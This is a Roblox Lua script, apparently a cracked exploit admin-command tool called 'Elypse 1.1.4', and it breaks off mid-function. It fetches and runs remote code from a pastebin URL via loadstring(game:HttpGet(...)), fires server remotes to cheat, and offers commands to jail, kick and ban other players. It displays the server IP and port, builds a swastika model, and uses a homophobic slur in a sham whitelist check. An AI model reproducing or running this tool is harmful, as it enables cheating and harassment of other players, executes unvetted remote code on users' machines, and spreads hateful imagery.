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- --Locals
- local userinput = game:GetService("UserInputService")
- local player = game.Players.LocalPlayer
- local ElypseCoreGui = game:GetService('CoreGui')
- local ElypseLighting = game:GetService('Lighting')
- local ElypseNetWorkClient = game:GetService('NetworkClient')
- local ElypsePlayers = game:GetService('Players')
- local ElypseWorkspace = game:GetService('Workspace')
- local LP = ElypsePlayers.LocalPlayer
- local MOUSE = LP:GetMouse()
- local ServerLockState = false
- local MessageOnScreenBool = false
- local SERVICES = {}
- SERVICES.EVENTS = {}
- local COMMANDS = {}
- local STD = {}
- local FRIEND_SPAM = {}
- local JAILED = {}
- local KICKS = {}
- local C_PREFIX = ''
- local SPLIT = ' '
- local NEW = LoadLibrary('RbxUtility').Create
- local SI = 'rbxasset://textures/blackBkg_square.png'
- local ADMINS = {}
- local BANS = {7355}
- local VERSION = '1.1.4'
- local UPDATED = ''
- local CHANGELOG = {
- }
- local CREDITS = [[
- ]]
- print("Checking Whitelist...")
- wait(0.001)
- function GODMODEENABLE()
- loadstring(game:HttpGet(('https://pastebin.com/raw/QHRYTEuF'),true))()
- end
- wait(0.7)
- sammy = gay
- WhitelistAccount = "1084291545"
- if sammy == gay then
- wait(0.001)
- print("User Whitelisted")
- print("Loading...")
- wait(0.21)
- print("Loaded Successfully")
- print("Welcome To Elypse 1.1.4, Cracked by Yn")
- print("Type 'cmds' In Chat Or In The Command Window To See The List Of Commands")
- print("Press ; To Access The Command Window")
- wait(0.001)
- userinput.InputBegan:connect(function(input)
- if userinput:GetFocusedTextBox() then
- return
- end
- if input.KeyCode == Enum.KeyCode.Q then
- game.Players.LocalPlayer.Backpack.ServerTraits.Touch:FireServer(game.Players.LocalPlayer.Backpack.Pipe, game.Players.LocalPlayer.Character.RightHand, true)
- end
- if input.KeyCode == Enum.KeyCode.R then
- end
- end)
- userinput.InputBegan:connect(function(input)
- if userinput:GetFocusedTextBox() then
- return
- end
- if input.KeyCode == Enum.KeyCode.Q then
- Player = "LocalPlayer"
- AnimationId = "242021477"
- local Anim = Instance.new("Animation")
- Anim.AnimationId = "rbxassetid://"..AnimationId
- local k = game.Players[Player].Character.Humanoid:LoadAnimation(Anim)
- k:Play()
- k:AdjustSpeed(1)
- end
- end)
- wait(0.001)
- function _G.ADD_ADMIN(ID) table.insert(ADMINS, ID) end
- function _G.ADD_BAN(ID) table.insert(BANS, ID) end
- for i,v in pairs(ElypseCoreGui:GetChildren()) do if v.Name == 'cmdbar_seth' or v.Name == 'notify_seth' then v:destroy() end end
- function UPDATE_CHAT(PLAYER) local C = PLAYER.Chatted:connect(function(M) if CHECK_ADMIN(PLAYER) then DEXECUTE(M, PLAYER) end end) table.insert(SERVICES.EVENTS, C) end
- function STD.TABLE(T, V) if not T then return false end for i,v in pairs(T) do if v == V then return true end end return false end
- function STD.ENDAT(S, V) local SF = S:find(V) if SF then return S:sub(0, SF - string.len(V)), true else return S, false end end
- function CHECK_ADMIN(PLAYER) if FIND_IN_TABLE(ADMINS, PLAYER.userId) then return true elseif PLAYER.userId == LP.userId then return true end end
- function FCOMMAND(COMMAND) for i,v in pairs(COMMANDS) do if v.N:lower() == COMMAND:lower() or STD.TABLE(v.A, COMMAND:lower()) then return v end end end
- function GCOMMAND(M) local CMD, HS = STD.ENDAT(M:lower(), SPLIT) if HS then return {CMD, true} else return {CMD, false} end end
- function GPREFIX(STRING) if STRING:sub(1, string.len(C_PREFIX)) == C_PREFIX then return {'COMMAND', string.len(C_PREFIX) + 1} end return end
- function GARGS(STRING) local A = {} local NA = nil local HS = nil local S = STRING repeat NA, HS = STD.ENDAT(S:lower(), SPLIT) if NA ~= '' then table.insert(A, NA) S = S:sub(string.len(NA) + string.len(SPLIT) + 1) end until not HS return A end
- function GCAPARGS(STRING) local A = {} local NA = nil local HS = nil local S = STRING repeat NA, HS = STD.ENDAT(S, SPLIT) if NA ~= '' then table.insert(A, NA) S = S:sub(string.len(NA) + string.len(SPLIT) + 1) end until not HS return A end
- function ECOMMAND(STRING, SPEAKER) repeat if STRING:find(' ') then STRING = STRING:gsub(' ', ' ') end until not STRING:find(' ') local SCMD, A, CMD SCMD = GCOMMAND(STRING) CMD = FCOMMAND(SCMD[1]) if not CMD then return end A = STRING:sub(string.len(SCMD[1]) + string.len(SPLIT) + 1) local ARGS = GARGS(A) CA = GCAPARGS(A) pcall(function() CMD.F(ARGS, SPEAKER) end) end
- function DEXECUTE(STRING, SPEAKER) if not CHECK_ADMIN(SPEAKER) then return end STRING = STRING:gsub('/e ', '') local GP = GPREFIX(STRING) if not GP then return end STRING = STRING:sub(GP[2]) if GP[1] == 'COMMAND' then ECOMMAND(STRING, SPEAKER) end end
- function GLS(LOWER, START) local AA = '' for i,v in pairs(CA) do if i > START then if AA ~= '' then AA = AA .. ' ' .. v else AA = AA .. v end end end if not LOWER then return AA else return string.lower(AA) end end
- function C3(R, G, B) return Color3.new(R/255, G/255, B/255) end
- function GET_MASS(A, B) B = 0 for i,v in pairs(A:GetChildren()) do if v:IsA('BasePart') then B = B + v:GetMass() end GET_MASS(v) end return B end
- ElypsePlayers.PlayerAdded:connect(function(PLAYER)
- if ServerLockState then PLAYER.CharacterAdded:connect(function() table.insert(KICKS, PLAYER) return end) end
- if FIND_IN_TABLE(BANS, PLAYER.userId) then PLAYER.CharacterAdded:connect(function() table.insert(KICKS, PLAYER) return end) end
- UPDATE_CHAT(PLAYER)
- if CHECK_ADMIN(PLAYER) then PLAYER.CharacterAdded:connect(function() game.Chat:Chat(PLAYER.Character.Head, STUFF .. 'Welcome, you\'re an admin!') end) end
- end)
- function Elypse(N, D, A, F) table.insert(COMMANDS, {N = N, D = D, A = A, F = F}) end
- function RenderPlayer(NAME, SPEAKER)
- local NAME_TABLE = {}
- NAME = NAME:lower()
- if NAME == 'me' then
- table.insert(NAME_TABLE, SPEAKER.Name)
- elseif NAME == 'others' then
- for i,v in pairs(ElypsePlayers:GetPlayers()) do if v.Name ~= SPEAKER.Name then table.insert(NAME_TABLE, v.Name) end end
- elseif NAME == 'all' then
- for i,v in pairs(ElypsePlayers:GetPlayers()) do table.insert(NAME_TABLE, v.Name) end
- elseif NAME == 'random' then
- table.insert(NAME_TABLE, ElypsePlayers:GetPlayers()[math.random(1, #ElypsePlayers:GetPlayers())].Name)
- elseif NAME == 'team' then
- for i,v in pairs(ElypsePlayers:GetPlayers()) do if v.TeamColor == SPEAKER.TeamColor then table.insert(NAME_TABLE, v.Name) end end
- elseif NAME == 'nonadmins' then
- for i,v in pairs(ElypsePlayers:GetPlayers()) do if not CHECK_ADMIN(v) then table.insert(NAME_TABLE, v.Name) end end
- elseif NAME == 'admins' then
- for i,v in pairs(ElypsePlayers:GetPlayers()) do if CHECK_ADMIN(v) then table.insert(NAME_TABLE, v.Name) end end
- elseif NAME == 'nonfriends' then
- for i,v in pairs(ElypsePlayers:GetPlayers()) do if not v:IsFriendsWith(SPEAKER.userId) then table.insert(NAME_TABLE, v.Name) end end
- elseif NAME == 'friends' then
- for i,v in pairs(ElypsePlayers:GetPlayers()) do if v ~= SPEAKER and v:IsFriendsWith(SPEAKER.userId) then table.insert(NAME_TABLE, v.Name) end end
- elseif NAME == 'nonguests' then
- for i,v in pairs(ElypsePlayers:GetPlayers()) do if not v.Guest then table.insert(NAME_TABLE, v.Name) end end
- elseif NAME == 'guests' then
- for i,v in pairs(ElypsePlayers:GetPlayers()) do if v.Guest then table.insert(NAME_TABLE, v.Name) end end
- elseif NAME == 'nbcs' then
- for i,v in pairs(ElypsePlayers:GetPlayers()) do if v.MembershipType == Enum.MembershipType.None then table.insert(NAME_TABLE, v.Name) end end
- elseif NAME == 'bcs' then
- for i,v in pairs(ElypsePlayers:GetPlayers()) do if v.MembershipType == Enum.MembershipType.BuildersClub then table.insert(NAME_TABLE, v.Name) end end
- elseif NAME == 'tbcs' then
- for i,v in pairs(ElypsePlayers:GetPlayers()) do if v.MembershipType == Enum.MembershipType.TurboBuildersClub then table.insert(NAME_TABLE, v.Name) end end
- elseif NAME == 'obcs' then
- for i,v in pairs(ElypsePlayers:GetPlayers()) do if v.MembershipType == Enum.MembershipType.OutrageousBuildersClub then table.insert(NAME_TABLE, v.Name) end end
- else
- for i,v in pairs(ElypsePlayers:GetPlayers()) do local L_NAME = v.Name:lower() local F = L_NAME:find(NAME) if F == 1 then table.insert(NAME_TABLE, v.Name) end end
- end
- return NAME_TABLE
- end
- STUFF = '[ Rocky2u\'s CMDs ] : '
- function LOAD_DATA()
- local DATA = Instance.new('Folder')
- LOOPED = Instance.new('Folder', DATA)
- GUIS = Instance.new('Folder', DATA)
- HUMANOIDS = Instance.new('Folder', DATA)
- OTHER = Instance.new('Folder', DATA)
- MAIN_GUI = Instance.new('ScreenGui', GUIS)
- MAIN_GUI.Name = 'seth_main'
- NEW'TextLabel'{Name = 'main', Active = true, BackgroundColor3 = C3(0, 0, 0), BackgroundTransparency = 0.25, BorderSizePixel = 0, Position = UDim2.new(0.5, -200, 0.4, 0), Size = UDim2.new(0, 400, 0, 25), Draggable = true, Font = 'SourceSansBold', Text = ' Control Center', TextColor3 = C3(255, 255, 255), TextSize = 20, TextXAlignment = 'Left', Parent = MAIN_GUI}
- NEW'Frame'{Name = 'holder', BackgroundColor3 = C3(255, 255, 255), BackgroundTransparency = 0.25, BorderSizePixel = 0, Position = UDim2.new(0, 0, 1, 0), Size = UDim2.new(1, 25, 12, 0), Parent = MAIN_GUI.main}
- local BUTTONS = Instance.new('Folder', MAIN_GUI.main.holder) BUTTONS.Name = 'buttons'
- NEW'TextButton'{Name = 'server', BackgroundColor3 = C3(0, 0, 0), BackgroundTransparency = 0.25, BorderSizePixel = 0, Position = UDim2.new(0, 5, 0, 5), Size = UDim2.new(0, 100, 0, 30), ClipsDescendants = true, Font = 'SourceSansBold', Text = 'server info', TextColor3 = C3(255, 255, 255), TextSize = 20, Parent = BUTTONS}
- NEW'TextButton'{Name = 'admins', BackgroundColor3 = C3(0, 0, 0), BackgroundTransparency = 0.25, BorderSizePixel = 0, Position = UDim2.new(0, 110, 0, 5), Size = UDim2.new(0, 100, 0, 30), ClipsDescendants = true, Font = 'SourceSansBold', Text = 'admins', TextColor3 = C3(255, 255, 255), TextSize = 20, Parent = BUTTONS}
- NEW'TextButton'{Name = 'bans', BackgroundColor3 = C3(0, 0, 0), BackgroundTransparency = 0.25, BorderSizePixel = 0, Position = UDim2.new(0, 215, 0, 5), Size = UDim2.new(0, 100, 0, 30), ClipsDescendants = true, Font = 'SourceSansBold', Text = 'bans', TextColor3 = C3(255, 255, 255), TextSize = 20, Parent = BUTTONS}
- NEW'TextButton'{Name = 'cmds', BackgroundColor3 = C3(0, 0, 0), BackgroundTransparency = 0.25, BorderSizePixel = 0, Position = UDim2.new(0, 320, 0, 5), Size = UDim2.new(0, 100, 0, 30), ClipsDescendants = true, Font = 'SourceSansBold', Text = 'commands', TextColor3 = C3(255, 255, 255), TextSize = 20, Parent = BUTTONS}
- NEW'TextButton'{Name = 'fun', BackgroundColor3 = C3(0, 0, 0), BackgroundTransparency = 0.25, BorderSizePixel = 0, Position = UDim2.new(0, 50, 0, 40), Size = UDim2.new(0, 105, 0, 30), ClipsDescendants = true, Font = 'SourceSansBold', Text = 'fun', TextColor3 = C3(255, 255, 255), TextSize = 20, Parent = BUTTONS}
- NEW'TextButton'{Name = 'changelog', BackgroundColor3 = C3(0, 0, 0), BackgroundTransparency = 0.25, BorderSizePixel = 0, Position = UDim2.new(0, 160, 0, 40), Size = UDim2.new(0, 105, 0, 30), ClipsDescendants = true, Font = 'SourceSansBold', Text = 'changelog', TextColor3 = C3(255, 255, 255), TextSize = 20, Parent = BUTTONS}
- NEW'TextButton'{Name = 'credits', BackgroundColor3 = C3(0, 0, 0), BackgroundTransparency = 0.25, BorderSizePixel = 0, Position = UDim2.new(0, 270, 0, 40), Size = UDim2.new(0, 105, 0, 30), ClipsDescendants = true, Font = 'SourceSansBold', Text = 'credits', TextColor3 = C3(255, 255, 255), TextSize = 20, Parent = BUTTONS}
- local HOLDERS = Instance.new('Folder', MAIN_GUI.main.holder) HOLDERS.Name = 'holders'
- NEW'Frame'{Name = 'server', BackgroundColor3 = C3(0, 0, 0), BackgroundTransparency = 0.8, BorderSizePixel = 0, Position = UDim2.new(0, 5, 0, 85), Size = UDim2.new(1, -10, 0, 210), Parent = HOLDERS}
- NEW'TextLabel'{Name = 'fe', BackgroundColor3 = C3(255, 255, 255), BackgroundTransparency = 1, Size = UDim2.new(1, 0, 0, 30), Font = 'SourceSansBold', Text = ' FilteringEnabled | ', TextColor3 = C3(0, 0, 0), TextSize = 24, TextTransparency = 0.25, TextXAlignment = 'Left', Parent = HOLDERS.server}
- NEW'TextLabel'{Name = 'ip', BackgroundColor3 = C3(255, 255, 255), BackgroundTransparency = 1, Position = UDim2.new(0, 0, 0, 30), Size = UDim2.new(1, 0, 0, 30), Font = 'SourceSansBold', Text = ' IP Address | ', TextColor3 = C3(0, 0, 0), TextSize = 24, TextTransparency = 0.25, TextXAlignment = 'Left', Parent = HOLDERS.server}
- NEW'TextLabel'{Name = 'port', BackgroundColor3 = C3(255, 255, 255), BackgroundTransparency = 1, Position = UDim2.new(0, 0, 0, 60), Size = UDim2.new(1, 0, 0, 30), Font = 'SourceSansBold', Text = ' Port | ', TextColor3 = C3(0, 0, 0), TextSize = 24, TextTransparency = 0.25, TextXAlignment = 'Left', Parent = HOLDERS.server}
- NEW'TextLabel'{Name = 'place_id', BackgroundColor3 = C3(255, 255, 255), BackgroundTransparency = 1, Position = UDim2.new(0, 0, 0, 90), Size = UDim2.new(1, 0, 0, 30), Font = 'SourceSansBold', Text = ' Place ID | ', TextColor3 = C3(0, 0, 0), TextSize = 24, TextTransparency = 0.25, TextXAlignment = 'Left', Parent = HOLDERS.server}
- NEW'TextLabel'{Name = 'players', BackgroundColor3 = C3(255, 255, 255), BackgroundTransparency = 1, Position = UDim2.new(0, 0, 0, 120), Size = UDim2.new(1, 0, 0, 30), Font = 'SourceSansBold', Text = ' Players | ', TextColor3 = C3(0, 0, 0), TextSize = 24, TextTransparency = 0.25, TextXAlignment = 'Left', Parent = HOLDERS.server}
- NEW'TextLabel'{Name = 'time', BackgroundColor3 = C3(255, 255, 255), BackgroundTransparency = 1, Position = UDim2.new(0, 0, 0, 150), Size = UDim2.new(1, 0, 0, 30), Font = 'SourceSansBold', Text = ' Time | ', TextColor3 = C3(0, 0, 0), TextSize = 24, TextTransparency = 0.25, TextXAlignment = 'Left', Parent = HOLDERS.server}
- NEW'TextLabel'{Name = 'gravity', BackgroundColor3 = C3(255, 255, 255), BackgroundTransparency = 1, Position = UDim2.new(0, 0, 0, 180), Size = UDim2.new(1, 0, 0, 30), Font = 'SourceSansBold', Text = ' Gravity | ', TextColor3 = C3(0, 0, 0), TextSize = 24, TextTransparency = 0.25, TextXAlignment = 'Left', Parent = HOLDERS.server}
- NEW'ScrollingFrame'{Name = 'admins', BackgroundColor3 = C3(0, 0, 0), BackgroundTransparency = 0.8, BorderSizePixel = 0, Position = UDim2.new(0, 5, 0, 85), Size = UDim2.new(1, -10, 0, 210), Visible = false, CanvasSize = UDim2.new(0, 0, 0, 0), ScrollBarThickness = 5, TopImage = SI, MidImage = SI, BottomImage = SI, Parent = HOLDERS}
- NEW'ScrollingFrame'{Name = 'bans', BackgroundColor3 = C3(0, 0, 0), BackgroundTransparency = 0.8, BorderSizePixel = 0, Position = UDim2.new(0, 5, 0, 85), Size = UDim2.new(1, -10, 0, 210), Visible = false, CanvasSize = UDim2.new(0, 0, 0, 0), ScrollBarThickness = 5, TopImage = SI, MidImage = SI, BottomImage = SI, Parent = HOLDERS}
- NEW'ScrollingFrame'{Name = 'cmds', BackgroundColor3 = C3(0, 0, 0), BackgroundTransparency = 0.8, BorderSizePixel = 0, Position = UDim2.new(0, 5, 0, 115), Size = UDim2.new(1, -10, 0, 210), Visible = false, CanvasSize = UDim2.new(0, 0, 0, 0), ScrollBarThickness = 5, TopImage = SI, MidImage = SI, BottomImage = SI, Parent = HOLDERS}
- NEW'ScrollingFrame'{Name = 'fun', BackgroundColor3 = C3(0, 0, 0), BackgroundTransparency = 0.8, BorderSizePixel = 0, Position = UDim2.new(0, 5, 0, 85), Size = UDim2.new(1, -10, 0, 210), Visible = false, CanvasSize = UDim2.new(0, 0, 0, 0), ScrollBarThickness = 5, TopImage = SI, MidImage = SI, BottomImage = SI, Parent = HOLDERS}
- NEW'ScrollingFrame'{Name = 'changelog', BackgroundColor3 = C3(0, 0, 0), BackgroundTransparency = 0.8, BorderSizePixel = 0, Position = UDim2.new(0, 5, 0, 85), Size = UDim2.new(1, -10, 0, 210), Visible = false, CanvasSize = UDim2.new(0, 0, 0, 0), ScrollBarThickness = 5, TopImage = SI, MidImage = SI, BottomImage = SI, Parent = HOLDERS}
- local Y_CHANGES = 0
- for i,v in pairs(CHANGELOG) do
- NEW'TextLabel'{Name = '', BackgroundColor3 = C3(255, 255, 255), BackgroundTransparency = 1, Position = UDim2.new(0, 0, 0, Y_CHANGES), Size = UDim2.new(1, 0, 0, 30), Font = 'SourceSansBold', Text = v, TextColor3 = C3(0, 0, 0), TextSize = 24, TextTransparency = 0.25, TextXAlignment = 'Left', Parent = HOLDERS.changelog}
- HOLDERS.changelog.CanvasSize = HOLDERS.changelog.CanvasSize + UDim2.new(0, 0, 0, 30)
- Y_CHANGES = Y_CHANGES + 30
- end
- NEW'Frame'{Name = 'credits', BackgroundColor3 = C3(0, 0, 0), BackgroundTransparency = 0.8, BorderSizePixel = 0, Position = UDim2.new(0, 5, 0, 85), Size = UDim2.new(1, -10, 0, 210), Visible = false, Parent = HOLDERS}
- NEW'TextLabel'{Name = 'text', BackgroundColor3 = C3(0, 0, 0), BackgroundTransparency = 1, BorderSizePixel = 0, Size = UDim2.new(1, 0, 1, 0), Font = 'SourceSansBold', Text = CREDITS, TextColor3 = C3(0, 0, 0), TextSize = 24, TextTransparency = 0.25, TextXAlignment = 'Left', TextYAlignment = 'Top', Parent = HOLDERS.credits}
- NEW'TextBox'{Name = 'search', BackgroundColor3 = C3(0, 0, 0), BackgroundTransparency = 0.25, BorderSizePixel = 0, Position = UDim2.new(0.25, 0, 0, 85), Size = UDim2.new(0.5, 0, 0, 25), Visible = false, Font = 'SourceSansBold', Text = 'search commands', TextColor3 = C3(255, 255, 255), TextSize = 20, Parent = HOLDERS}
- NEW'Frame'{Name = 'line', BackgroundColor3 = C3(0, 0, 0), BackgroundTransparency = 0.25, BorderSizePixel = 0, Position = UDim2.new(0, 5, 0, 75), Size = UDim2.new(1, -10, 0, 5), Parent = MAIN_GUI.main.holder}
- NEW'TextButton'{Name = 'close', BackgroundColor3 = C3(255, 50, 50), BackgroundTransparency = 0.25, BorderSizePixel = 0, Position = UDim2.new(1, 0, 0, 0), Size = UDim2.new(0, 25, 0, 25), Text = '', Parent = MAIN_GUI.main}
- CMD_BAR_H = Instance.new('ScreenGui', GUIS)
- CMD_BAR_H.Name = 'cmdbar_seth'
- NEW'TextBox'{Name = 'bar', BackgroundColor3 = C3(0, 0, 0), BackgroundTransparency = 0.5, BorderSizePixel = 0, Position = UDim2.new(0, -200, 1, -50), Size = UDim2.new(0, 225, 0, 25), Font = 'SourceSansItalic', Text = 'Press ; To Execute A Command', TextColor3 = C3(255, 255, 255), TextSize = 20, Parent = CMD_BAR_H}
- NEW'ScrollingFrame'{Name = 'commands', BackgroundColor3 = C3(50, 50, 50), BackgroundTransparency = 0.5, BorderSizePixel = 0, Position = UDim2.new(0, 0, 1, -25), Size = UDim2.new(1, 0, 0, 0), Visible = false, CanvasSize = UDim2.new(0, 0, 0, 0), ScrollBarThickness = 6, ScrollingEnabled = true, BottomImage = SI, MidImage = SI, TopImage = SI, Parent = CMD_BAR_H.bar}
- NEW'TextLabel'{Name = 'commands_ex', BackgroundTransparency = 1, BorderSizePixel = 0, Size = UDim2.new(0, 200, 0, 20), Visible = false, Font = 'SourceSansBold', TextColor3 = C3(255, 255, 255), TextSize = 18, TextXAlignment = 'Left', Parent = CMD_BAR_H.bar}
- local NOTIFY_H = Instance.new('ScreenGui', GUIS)
- NOTIFY_H.Name = 'notify_seth'
- local N = Instance.new('Frame', NOTIFY_H)
- N.Name = 'notify'
- N.BackgroundColor3 = C3(0, 0, 0)
- N.BackgroundTransparency = 0.5
- N.BorderSizePixel = 0
- N.Position = UDim2.new(0, -225, 0.6, 0)
- N.Size = UDim2.new(0, 225, 0, 30)
- local BAR = Instance.new('Frame', N)
- BAR.Name = ''
- BAR.BackgroundColor3 = C3(255, 255, 255)
- BAR.BackgroundTransparency = 0.5
- BAR.BorderSizePixel = 0
- BAR.Position = UDim2.new(0, 0, 1, 0)
- BAR.Size = UDim2.new(1, 0, 0, 5)
- local TEXT = Instance.new('TextLabel', N)
- TEXT.Name = 'text'
- TEXT.BackgroundTransparency = 1
- TEXT.BorderSizePixel = 0
- TEXT.Size = UDim2.new(1, 0, 1, 0)
- TEXT.Font = 'SourceSansBold'
- TEXT.TextColor3 = C3(255, 255, 255)
- TEXT.TextSize = 18
- TEXT.TextXAlignment = 'Left'
- PAPER_MESH = Instance.new('BlockMesh', OTHER)
- PAPER_MESH.Scale = Vector3.new(1, 1, 0.1)
- JAIL = Instance.new('Model', OTHER)
- JAIL.Name = 'JAIL'
- local B = Instance.new('Part', JAIL)
- B.Name = 'BUTTOM'
- B.BrickColor = BrickColor.new('Black')
- B.Transparency = 0.5
- B.Anchored = true
- B.Locked = true
- B.Size = Vector3.new(6, 1, 6)
- B.TopSurface = 'Smooth'
- B.BottomSurface = 'Smooth'
- local M = Instance.new('Part', JAIL)
- M.Name = 'MAIN'
- M.BrickColor = BrickColor.new('Black')
- M.Transparency = 1
- M.Anchored = true
- M.CanCollide = false
- M.Locked = true
- M.Position = B.Position + Vector3.new(0, 3, 0)
- M.Size = Vector3.new(1, 1, 1)
- local P1 = Instance.new('Part', JAIL)
- P1.BrickColor = BrickColor.new('Black')
- P1.Transparency = 1
- P1.Position = B.Position + Vector3.new(0, 3.5, -2.5)
- P1.Rotation = Vector3.new(0, 90, 0)
- P1.Anchored = true
- P1.Locked = true
- P1.Size = Vector3.new(1, 6, 6)
- local P2 = Instance.new('Part', JAIL)
- P2.BrickColor = BrickColor.new('Black')
- P2.Transparency = 1
- P2.Position = B.Position + Vector3.new(-2.5, 3.5, 0)
- P2.Rotation = Vector3.new(-180, 0, -180)
- P2.Anchored = true
- P2.Locked = true
- P2.Size = Vector3.new(1, 6, 4)
- local P3 = Instance.new('Part', JAIL)
- P3.BrickColor = BrickColor.new('Black')
- P3.Transparency = 1
- P3.Position = B.Position + Vector3.new(2.5, 3.5, 0)
- P3.Rotation = Vector3.new(0, 0, 0)
- P3.Anchored = true
- P3.Locked = true
- P3.Size = Vector3.new(1, 6, 4)
- local P4 = Instance.new('Part', JAIL)
- P4.BrickColor = BrickColor.new('Black')
- P4.Transparency = 1
- P4.Position = B.Position + Vector3.new(0, 3.5, 2.5)
- P4.Rotation = Vector3.new(0, 90, 0)
- P4.Anchored = true
- P4.Locked = true
- P4.Size = Vector3.new(1, 6, 4)
- local TOP = Instance.new('Part', JAIL)
- TOP.BrickColor = BrickColor.new('Black')
- TOP.Transparency = 0.5
- TOP.Position = B.Position + Vector3.new(0, 7, 0)
- TOP.Rotation = Vector3.new(0, 0, 0)
- TOP.Anchored = true
- TOP.Locked = true
- TOP.Size = Vector3.new(6, 1, 6)
- TOP.TopSurface = 'Smooth'
- TOP.BottomSurface = 'Smooth'
- ROCKET = Instance.new('Part', OTHER)
- ROCKET.Name = 'rocket_seth'
- ROCKET.CanCollide = false
- ROCKET.Size = Vector3.new(2, 5, 2)
- Instance.new('CylinderMesh', ROCKET)
- local F = Instance.new('Part', ROCKET)
- F.BrickColor = BrickColor.new('Black')
- F.CanCollide = false
- F.Size = Vector3.new(2, 0.2, 2)
- Instance.new('CylinderMesh', F)
- local PE = Instance.new('ParticleEmitter', F)
- PE.Color = ColorSequence.new(C3(236, 139, 70), C3(236, 139, 70))
- PE.Size = NumberSequence.new(0.2)
- PE.Texture = 'rbxassetid://17238048'
- PE.LockedToPart = true
- PE.Lifetime = NumberRange.new(0.2)
- PE.Rate = 50
- PE.Speed = NumberRange.new(-20)
- local TOP = Instance.new('Part', ROCKET)
- TOP.CanCollide = false
- TOP.Shape = 'Ball'
- TOP.Size = Vector3.new(2, 2, 2)
- TOP.TopSurface = 'Smooth'
- TOP.BottomSurface = 'Smooth'
- local BF = Instance.new('BodyForce', ROCKET)
- BF.Name = 'force'
- BF.Force = Vector3.new(0, 0, 0)
- local W1 = Instance.new('Weld', ROCKET)
- W1.Part0 = ROCKET
- W1.Part1 = F
- W1.C1 = CFrame.new(0, 2.6, 0)
- local W2 = Instance.new('Weld', ROCKET)
- W2.Part0 = ROCKET
- W2.Part1 = TOP
- W2.C1 = CFrame.new(0, -2.6, 0)
- ALIEN_H = Instance.new('Accessory', OTHER)
- local H = Instance.new('Part', ALIEN_H)
- H.Name = 'Handle'
- H.Size = Vector3.new(2, 2.4, 2)
- local HA = Instance.new('Attachment', H)
- HA.Name = 'HatAttachment'
- HA.Position = Vector3.new(0, 0.15, 0)
- local SM = Instance.new('SpecialMesh', H)
- SM.MeshId = 'rbxassetid://13827689'
- SM.MeshType = 'FileMesh'
- SM.Scale = Vector3.new(1, 1.02, 1)
- SM.TextureId = 'rbxassetid://13827796'
- local S = Instance.new('Model', OTHER) S.Name = 'swastika'
- NEW'Part'{BrickColor = BrickColor.new('Really red'), Material = 'Plastic', Anchored = true, CanCollide = false, Size = Vector3.new(2, 2, 2), BottomSurface = 'Smooth', TopSurface = 'Smooth', Parent = S}
- NEW'Part'{BrickColor = BrickColor.new('Really red'), Material = 'Plastic', Position = Vector3.new(0, 3, 0), Anchored = true, CanCollide = false, Size = Vector3.new(2, 4, 2), BottomSurface = 'Smooth', TopSurface = 'Smooth', Parent = S}
- NEW'Part'{BrickColor = BrickColor.new('Really red'), Material = 'Plastic', Position = Vector3.new(3, 0, 0), Anchored = true, CanCollide = false, Size = Vector3.new(4, 2, 2), BottomSurface = 'Smooth', TopSurface = 'Smooth', Parent = S}
- NEW'Part'{BrickColor = BrickColor.new('Really red'), Material = 'Plastic', Position = Vector3.new(0, -3, 0), Anchored = true, CanCollide = false, Size = Vector3.new(2, 4, 2), BottomSurface = 'Smooth', TopSurface = 'Smooth', Parent = S}
- NEW'Part'{BrickColor = BrickColor.new('Really red'), Material = 'Plastic', Position = Vector3.new(-3, 0, 0), Anchored = true, CanCollide = false, Size = Vector3.new(4, 2, 2), BottomSurface = 'Smooth', TopSurface = 'Smooth', Parent = S}
- NEW'Part'{BrickColor = BrickColor.new('Really red'), Material = 'Plastic', Position = Vector3.new(3, 4, 0), Anchored = true, CanCollide = false, Size = Vector3.new(4, 2, 2), BottomSurface = 'Smooth', TopSurface = 'Smooth', Parent = S}
- NEW'Part'{BrickColor = BrickColor.new('Really red'), Material = 'Plastic', Position = Vector3.new(4, -3, 0), Anchored = true, CanCollide = false, Size = Vector3.new(2, 4, 2), BottomSurface = 'Smooth', TopSurface = 'Smooth', Parent = S}
- NEW'Part'{BrickColor = BrickColor.new('Really red'), Material = 'Plastic', Position = Vector3.new(-3, -4, 0), Anchored = true, CanCollide = false, Size = Vector3.new(4, 2, 2), BottomSurface = 'Smooth', TopSurface = 'Smooth', Parent = S}
- NEW'Part'{BrickColor = BrickColor.new('Really red'), Material = 'Plastic', Position = Vector3.new(-4, 3, 0), Anchored = true, CanCollide = false, Size = Vector3.new(2, 4, 2), BottomSurface = 'Smooth', TopSurface = 'Smooth', Parent = S}
- CMD_BAR_H.Parent = ElypseCoreGui
- end
- local RS = game:GetService('RunService').RenderStepped
- function OPEN_MAIN()
- SETH_MAIN = MAIN_GUI:Clone()
- local BUTTONS = SETH_MAIN.main.holder.buttons
- local HOLDERS = SETH_MAIN.main.holder.holders
- for i,v in pairs(SETH_MAIN.main.holder.buttons:GetChildren()) do
- v.MouseButton1Down:connect(function(X, Y)
- OPEN_TAB(v.Name)
- if not v:FindFirstChild('circle') then
- local C = Instance.new('ImageLabel', v)
- C.BackgroundTransparency = 1
- C.Position = UDim2.new(0, X - 0, 0, Y - 35) - UDim2.new(0, v.AbsolutePosition.X, 0, v.AbsolutePosition.Y)
- C.Size = UDim2.new(0, 0, 0, 0)
- C.ZIndex = v.ZIndex
- C.Image = 'rbxassetid://200182847'
- C.ImageColor3 = C3(0, 100, 255)
- C.Name = 'circle'
- C:TweenSizeAndPosition(UDim2.new(0, 500, 0, 500), C.Position - UDim2.new(0, 250, 0, 250), 'Out', 'Quart', 2.5)
- for i = 0, 1, 0.03 do
- C.ImageTransparency = i
- RS:wait()
- end
- C:destroy()
- end
- end)
- end
- HOLDERS.server.place_id.Text = ' Place ID | ' .. game.PlaceId
- game:GetService('RunService').Stepped:connect(function()
- if SETH_MAIN:FindFirstChild('main') and HOLDERS:FindFirstChild('server') then
- if not ElypseWorkspace.FilteringEnabled then
- HOLDERS.server.fe.Text = ' FilteringEnabled | false'
- else
- HOLDERS.server.fe.Text = ' FilteringEnabled | true'
- end
- HOLDERS.server.ip.Text = ' IP Address | ' .. IP
- HOLDERS.server.port.Text = ' Port | ' .. PORT
- HOLDERS.server.players.Text = ' Players | ' .. ElypsePlayers.NumPlayers .. '/' .. ElypsePlayers.MaxPlayers
- HOLDERS.server.time.Text = ' Time | ' .. ElypseLighting.TimeOfDay
- HOLDERS.server.gravity.Text = ' Gravity | ' .. ElypseWorkspace.Gravity
- end
- end)
- function UPDATE_ADMINS()
- HOLDERS.admins:ClearAllChildren()
- HOLDERS.admins.CanvasSize = UDim2.new(0, 0, 0, 0)
- local Y_ADMINS = 5
- for i,v in pairs(ADMINS) do
